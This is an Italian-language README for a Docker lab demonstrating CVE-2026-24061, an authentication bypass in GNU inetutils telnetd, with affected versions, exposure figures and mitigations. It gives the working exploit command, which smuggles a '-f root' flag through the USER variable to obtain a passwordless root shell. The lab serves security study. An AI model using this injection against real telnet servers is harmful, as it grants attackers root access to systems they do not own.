CVE-2026-24061: Bypass dell'autenticazione in GNU inetutils-telnetd

Un laboratorio Docker per dimostrare la CVE-2026-24061 — una vulnerabilità critica di bypass dell'autenticazione in GNU inetutils telnetd rimasta senza patch per 11 anni.

La Vulnerabilità

Telnetd passa la variabile d'ambiente USER direttamente a /usr/bin/login senza alcuna sanificazione. Il binario login dispone di un flag -f che salta l'autenticazione (pensato per sessioni già autenticate). Impostando USER='-f root', un attaccante inganna login facendogli concedere accesso root senza password.

Versioni interessate: GNU inetutils 1.9.3 (marzo 2015) fino alla 2.7 Punteggio CVSS: 9.8 (Critico) Correzione: Aggiornare a inetutils 2.8+

Avvio Rapido

# Crea l'immagine
docker build -t telnetd-exploit .

# Avvia il container (ti porta in una shell come user1)
docker run --rm -it telnetd-exploit

# Exploit — ottieni root senza password
USER='-f root' telnet -a localhost

Ti ritroverai in una shell root. Esegui whoami per confermare.

Come Funziona

1. Il client si connette con: USER='-f root' telnet -a localhost
2. telnetd riceve la variabile d'ambiente USER: "-f root"
3. telnetd esegue: /usr/bin/login -f root
4. login interpreta -f come "salta l'autenticazione, l'utente è già verificato"
5. L'attaccante ottiene una shell root — nessuna password richiesta

Perché Esiste -f

Il flag -f è legittimo — serve per scenari in cui un utente è già autenticato (ad esempio, da una sessione locale attendibile). Il bug è che telnetd non sanifica la variabile USER prima di passarla a login, consentendo ad attaccanti remoti di iniettare il flag.

Impatto

A gennaio 2026:

• ~800.000 server Telnet esposti a livello globale (Shadowserver)
• ~290.000 indicizzati su Shodan
• Vulnerabilità attivamente sfruttata in natura (catalogo CISA KEV)

Perché Non Dovresti Usare Telnet

Anche senza questo bug, Telnet trasmette tutto in chiaro — incluse le password. Usa SSH.

File

.
├── Dockerfile              # Crea il container Debian vulnerabile
├── docker-entrypoint.sh    # Avvia inetd, passa a user1
└── README.md

Mitigazione

1. Aggiorna a GNU inetutils 2.8+
2. Disabilita telnetd — blocca la porta 23
3. Usa SSH — siamo nel 2026

Riferimenti

• CVE-2026-24061
• Avviso originale
• Voce CISA KEV

Crediti

Laboratorio basato su leonjza/inetutils-telnetd-auth-bypass